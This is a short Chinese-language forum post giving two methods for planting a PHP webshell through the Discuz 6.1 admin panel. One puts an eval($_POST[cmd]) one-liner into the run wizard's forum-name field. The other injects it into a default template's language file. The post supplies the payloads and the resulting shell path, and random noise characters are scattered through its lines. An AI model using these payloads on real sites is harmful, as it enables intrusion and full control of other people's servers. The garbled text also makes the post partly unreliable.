discuz6.1后台拿shell方法

admin

discuz6.1两种方法后台拿shell
& x: Q2 h8 F1 e( Z2 L  A4 p5 _4 Y好多朋友说discuz6.1后台不会拿shell,在前段时间这些都是说不公布的东西,我发出来给大家测试一下
6 x* }5 {5 r& O% ~5 d2 A% b1:
- O5 O7 e. [0 whttp://127.0.0.1/discuz/admincp. ... zard&frames=yes
admincp.php?action=runwizard&frames=yes点击下一步然后再论坛名称的地方插入webshell
; A- }7 r# U6 K+ ^4 L+ k5 e6 `$ b<?php eval($_POST[cmd]);?>
! g6 C" W/ `6 r$ O3 L后台webshell地址：http://127.0.0.1/discuz/forumdata/logs/runwizardlog.php
  W# n" u, p  {: Z

- j. H5 M  M- n6 C2:后台模板管理--默认模板套系--详情
# i) P' g. [- f7 Q/ s2 T4 l- htemplates/default/actions.lang.php
jhackj\\');eval($_POST[cmd])?>;//

利用很简单,聪明的人一看就懂了